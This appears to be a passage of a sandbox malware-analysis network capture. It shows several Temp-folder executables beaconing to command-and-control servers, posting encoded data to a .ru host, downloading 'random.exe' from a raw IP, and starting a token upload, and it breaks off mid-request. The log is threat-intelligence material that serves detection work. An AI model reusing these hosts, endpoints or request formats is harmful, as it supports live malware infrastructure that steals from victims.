Dec 16, 2024 13:17:19.349972010 CET	810	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QNLx7KQp0ay%2BXi2Sc5gLOosVft4l99EnCxXU3R4fDNwVD1V9BZ1YwQyEpDoA93nVeKIE08zhFnFhUjXivOCsVPrbKjCTZ0%2B0JfZEC%2Fv9XLM4jA%2B%2FOVzNl0I%2FVwfeWBMMYKOtK64y"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c0d5e2c7cee-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4168&min_rtt=1980&rtt_var=5120&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=74906&cwnd=167&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.8	49940	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:19.594490051 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:19.951927900 CET	1060	OUT	Data Raw: 58 5b 43 56 5c 5c 54 59 5d 5a 59 53 57 5c 5a 50 5a 5e 5f 5e 51 59 52 45 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: X[CV\\TY]ZYSW\ZPZ^_^QYREXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ +Y)?-?$$Y%-"9#-+\++Q1.W*=] 78(("F"#Y
Dec 16, 2024 13:17:20.680996895 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:20.921278000 CET	806	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OlA0tCbwfyTfsRNSyrkYYmVEQOTylvIrrazivcqz47ZglZoCtswRD2fJcmaNwto%2BdCcXKV8OFRfbcCDbmwu4zTaAa6B%2F%2BJTmZxLMeyfbBrmdko12KLqrwyv9r4Bp3Jqvb%2BguBBAp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c174989558a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3605&min_rtt=1672&rtt_var=4494&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=85180&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.8	49948	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:21.247862101 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:21.592519999 CET	1060	OUT	Data Raw: 58 54 43 55 59 59 51 59 5d 5a 59 53 57 5f 5a 51 5a 53 5f 5a 51 5f 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XTCUYYQY]ZYSW_ZQZS_ZQ_RIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ X<!==('0'$74X9 ((0%.S*-9 Q0)"F"#Y 4
Dec 16, 2024 13:17:22.332118034 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:22.575306892 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n5tworwvwrHvxZmRmOHMzD%2FutA5D7XBFK5dFJV%2FIJ%2F1Sfu6LmnykN7UDIeEBcUE6Fgd5dBcmdzZqbwrupOt2l7r9tgasRc6XA5fKgPwUXeA6VkASKG7SGRlDq0dOQ%2Bz42VyGQ%2BjB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c2199ef4241-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4179&min_rtt=1602&rtt_var=5756&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=65697&cwnd=202&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49950	185.215.113.43	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:22.405828953 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 30 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016098001&unit=246122658369
Dec 16, 2024 13:17:23.725506067 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49952	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:22.905119896 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:23.264472961 CET	1060	OUT	Data Raw: 5d 52 43 52 5c 58 54 5d 5d 5a 59 53 57 5e 5a 53 5a 55 5f 54 51 52 52 49 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]RCR\XT]]ZYSW^ZSZU_TQRRIXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[ (/W)' _'-\ 9(X.)+_<3V%!:)X9^"7$=("F"#Y 0
Dec 16, 2024 13:17:23.990427017 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:24.230899096 CET	812	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PIk5ZBxMZTuaCDosQLZr5tQN%2BJBjgIrq9POf3OSvtn41i9aAkeW7Bq5mzzBF3%2BrFQdRWoVN2t89IR%2FrH%2Ba%2B2JZFUJz3MWI3C8B9eFZEzy0wSgCzM%2FgNK%2FDPDpfiZFncJI1AlpRte"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c2bfe6fc323-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3992&min_rtt=1671&rtt_var=5269&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=72134&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49957	31.41.244.11	80	6828	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:23.912441969 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 13:17:25.234015942 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 12:17:25 GMT Content-Type: application/octet-stream Content-Length: 4469760 Last-Modified: Mon, 16 Dec 2024 10:58:14 GMT Connection: keep-alive ETag: "676007c6-443400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 b1 4c 5d 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 e0 4b 00 00 64 71 00 00 32 00 00 00 80 c3 00 00 10 00 00 00 f0 4b 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 b0 c3 00 00 04 00 00 1b 76 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f c0 6e 00 73 00 00 00 00 b0 6e 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 65 c3 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 64 c3 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELL]g(Kdq2K@vD@ _nsn0ed n@(@.rsrcnP(@.idata nR(@ 8nT(@slztyuaaV(@okprrvvqpD@.taggant0"D@
Dec 16, 2024 13:17:25.234044075 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:25.234057903 CET	448	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:25.234123945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 13:17:25.234138012 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: QBTu:W%Q&Umwr
Dec 16, 2024 13:17:25.234230995 CET	1236	IN	Data Raw: 53 6f 2b 54 5a d5 8d 03 fa 46 88 ed 1e 79 d2 b5 bb b2 e3 0a 77 73 39 ee 5e 85 57 d3 62 36 27 15 7c ef e4 04 16 96 b0 86 ad 57 65 d0 21 3c d6 d3 cb 87 a1 07 cc 2c cf d6 a2 1e a6 85 e9 9d 09 af 6e dd 55 e9 2e 88 11 64 75 85 6b 25 e5 b6 be 23 16 a8 Data Ascii: So+TZFyws9^Wb6'\|We!<,nU.duk%#On?w)l0YWq$QB"3u>%VGB>[*Xb6fxB=#\_jV%Tgf#HJ}zfY/b;qRSvT!+.\|
Dec 16, 2024 13:17:25.234296083 CET	1236	IN	Data Raw: 09 0e b4 3d 53 bd 96 3a 22 92 d1 b9 31 55 28 60 ea e2 66 c9 6e 77 93 e9 ed 4c 9c a4 76 20 4e e0 bf 63 c4 18 5e 82 44 c9 b9 59 af c7 37 3b c4 e6 e9 f8 04 ce 78 05 f6 13 59 b6 bb cd e9 dd 27 6a 47 bb 9d 15 d8 bf bf bc 83 ee ea b5 95 15 f8 8a 22 7c Data Ascii: =S:"1U(`fnwLv Nc^DY7;xY'jG"\|eaS\jfgY.PTqO5ROa*aS`}Gx{O3W5/{_yTpXb7b/BF7I
Dec 16, 2024 13:17:25.234308004 CET	1236	IN	Data Raw: 2d 97 f4 36 9a 05 92 88 74 6a bd af 0c 92 df 2a 41 d3 7c fd bb 41 81 14 5e 8f e7 43 df a1 76 a3 47 75 07 1a e1 bc a1 a7 ee 3a 07 0f 0a 51 a9 e4 5a 58 a0 53 52 af 36 67 df 7c 94 c7 f8 fa 09 e7 74 d5 35 58 42 bb 44 cb 33 f1 b5 af 71 a0 93 28 12 69 Data Ascii: -6tj*A\|A^CvGu:QZXSR6g\|t5XBD3q(i^\kTiwbvegAO:sSt5o{t]vbCUtly#?}kSa{S\|A&T=YXSGkH()W~AB$a^
Dec 16, 2024 13:17:25.234318972 CET	1236	IN	Data Raw: 5b ba f8 86 22 7c a7 64 7d f6 9d 91 d2 e4 e1 cf 2e ba be 59 b6 20 cd e4 94 3c 32 91 d5 bb 52 1e 67 a0 0d 46 2a 06 d3 20 ae 1b 8c e6 59 66 12 f5 f0 b3 d3 df 1c bb c1 d1 61 27 c0 c9 10 ce b3 e9 49 07 7a 4b af aa 05 5b e0 ad 01 59 81 cf 94 28 bb 8b Data Ascii: ["\|d}.Y <2RgF* Yfa'IzK[Y()lwute<K5KDPS;/cl5UjUmRiYc{BFwT!3M"NM<5uoBr__@UrKZW
Dec 16, 2024 13:17:25.234332085 CET	1236	IN	Data Raw: 72 66 41 2f 1a a3 d4 b8 30 9f ea 4b 69 01 09 07 b5 b1 d7 64 66 6c 95 2f 22 5a 02 eb 6f 97 07 84 71 75 ff 4a 4e 01 b7 06 72 2c 07 ce 91 ed 0d ad b1 22 10 cc af 15 fb d1 ba 7e 60 67 35 95 fd a9 80 12 36 b8 6a f6 ea 4e 07 03 15 15 63 da 35 ef 22 53 Data Ascii: rfA/0Kidfl/"ZoquJNr,"~`g56jNc5"S'RHN\|d\KvcYXc?KtUEEU33'^Tg}LzHZ@DTV[mb[ZaiS6>i7k7W3KE@Q{Mkmiw[
Dec 16, 2024 13:17:25.370328903 CET	1236	IN	Data Raw: e1 19 f7 c6 88 98 56 fc db 55 54 ca 5d 2d ae 19 62 d7 3b d5 50 5d 27 bf a6 40 13 b7 13 23 a5 16 15 8f e2 1d 74 6a 59 4c b1 95 c6 f0 5d 9f 97 4f b2 59 af 53 31 a9 e3 d2 b7 91 f9 ba 7f 89 bf 54 ef b7 a2 b5 19 17 92 ae 46 28 48 d9 c8 63 fe b2 2a bb Data Ascii: VUT]-b;P]'@#tjYL]OYS1TF(HcWQ>='F"bo6si~QR\|XYgGm$+nK(YO tXWFh5:O$MheynWF3VFemM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49960	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:24.308566093 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1920 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:24.654836893 CET	1920	OUT	Data Raw: 58 50 46 53 59 5b 54 5e 5d 5a 59 53 57 59 5a 51 5a 5e 5f 5a 51 5b 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: XPFSY[T^]ZYSWYZQZ^_ZQ[RCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#(?1>-]'V;'="9(:8<0$2:W)#7(("F"#Y ,
Dec 16, 2024 13:17:25.398030996 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:25.641081095 CET	955	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cFdx3JQZrB1gJIj5%2F1e%2BEJSgU9EHMB9RKN8Fd5jOBvcQfUB78ceU%2Fw4nnVStyAXjyzuq9kpT5%2Bn65M9kB40WpFtTLCryvtbvSmoTILkPGCjQOi0FtU7L2Pl9Ou60Tzb1ZbLzXOjW"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c34cead0f7f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3788&min_rtt=1621&rtt_var=4942&sent=3&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2263&delivery_rate=77016&cwnd=242&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 0e 1a 3a 08 25 3d 26 5a 37 00 27 53 3e 06 3f 0e 33 33 0f 5f 38 3c 2b 1b 26 23 3a 5b 25 0b 3a 01 31 1d 38 06 34 1f 24 51 25 31 34 54 26 0d 23 5d 01 1b 27 09 27 2e 25 05 3c 01 32 5d 26 33 22 41 25 3e 3c 1b 32 27 3f 0e 27 33 2c 0e 35 3b 36 5a 2f 1c 0f 05 28 3f 0d 59 2c 33 22 05 21 2e 21 52 0d 13 21 0c 24 38 2e 13 30 1f 11 5d 34 20 3b 13 23 34 2b 52 27 02 23 1b 31 3a 28 12 27 3c 2a 5a 26 5e 30 07 2a 16 00 57 34 54 2b 0e 3c 3e 20 52 2c 05 20 50 04 35 54 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98:%=&Z7'S>?33_8<+&#:[%:184$Q%14T&#]''.%<2]&3"A%><2'?'3,5;6Z/(?Y,3"!.!R!$8.0]4 ;#4+R'#1:('<Z&^0W4T+<> R, P5TS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49961	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:24.668052912 CET	343	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue Connection: Keep-Alive
Dec 16, 2024 13:17:25.014198065 CET	1060	OUT	Data Raw: 5d 57 46 57 59 58 54 5e 5d 5a 59 53 57 5f 5a 53 5a 51 5f 54 51 5c 52 48 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]WFWYXT^]ZYSW_ZSZQ_TQ\RHXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#+/68%#$X'.?[4$_.:0++ $">V)!Z#7,8"F"#Y 4
Dec 16, 2024 13:17:25.753703117 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:25.999686003 CET	800	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WJsE8Om1vz24slHSurpisXd7t9m5wYYXJjAqdWFZzFzVmg2l9wbjzzAOdV2oiILO%2FltNwNLsSIC2DlOAi9hfwcvzpUAbsNzm2lJMgyGMBPyjePCzhp5icb4cOjbBAfO0ULnEvqeL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c36f9738c21-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4410&min_rtt=1781&rtt_var=5927&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1403&delivery_rate=63987&cwnd=241&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49967	172.67.220.198	80	2708	C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:26.642206907 CET	319	OUT	POST /javascriptrequestApiBasePrivate.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.53 Host: 749858cm.renyash.ru Content-Length: 1060 Expect: 100-continue
Dec 16, 2024 13:17:26.998564959 CET	1060	OUT	Data Raw: 5d 57 43 50 5c 58 51 5f 5d 5a 59 53 57 5f 5a 5f 5a 55 5f 5e 51 52 52 43 58 52 58 5c 5b 53 5f 5e 58 45 54 5d 5e 50 56 5c 5c 54 53 54 5d 55 5c 5f 57 57 5d 40 5f 5b 50 55 55 5e 55 5d 5f 55 51 40 58 5f 41 45 5b 45 56 55 5e 56 5d 50 5a 5d 59 58 52 53 Data Ascii: ]WCP\XQ_]ZYSW_Z_ZU_^QRRCXRX\[S_^XET]^PV\\TST]U\_WW]@_[PUU^U]_UQ@X_AE[EVU^V]PZ]YXRSXYU^Y]UV[X]Y[U[]XUZUX__WDZ]R\__AQWZQ]V][^\\XY_[TPXT\]T[TVQVUZUS]\XT\W^]PFYZ\QX^R\XT\VRU\Z^V_SZ^]Z][R^[#?<!>3$83=#^ :.94+(+%:W>>^473Y(("F"#Y 4
Dec 16, 2024 13:17:27.728229046 CET	25	IN	HTTP/1.1 100 Continue
Dec 16, 2024 13:17:27.968131065 CET	808	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 12:17:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GnGknyXvNV%2F0VGHSfDnizYY56Z47MKsVa6zySOIhY6E%2BXUv3kglX3f%2FdHN1NbMUfs8klxwqDTEmDcGprtjIW4BTvVLIN%2BBHovpKZl9AHXI7yoG1OmNmSB9HI40BYYDoB%2Fbx6AsDp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f2e9c435cdf8c96-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3785&min_rtt=1836&rtt_var=4586&sent=2&recv=4&lost=0&retrans=0&sent_bytes=25&recv_bytes=1379&delivery_rate=83773&cwnd=187&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 3c 52 40 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 4<R@X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49968	185.215.113.206	80	1012	C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 13:17:26.933536053 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKKEBKJJDGHCBGCAAKEH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 39 35 65 37 37 33 36 36 36 64 34 34 37 61 39 33 31 61 31 30 64 38 36 61 34 61 33 34 30 64 37 33 33 35 38 39 64 34 33 38 30 61 38 35 62 39 31 34 38 64 62 33 31 34 65 36 62 36 37 65 38 65 33 65 63 37 64 64 63 63 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 4b 45 42 4b 4a 4a 44 47 48 43 42 47 43 41 41 4b 45 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 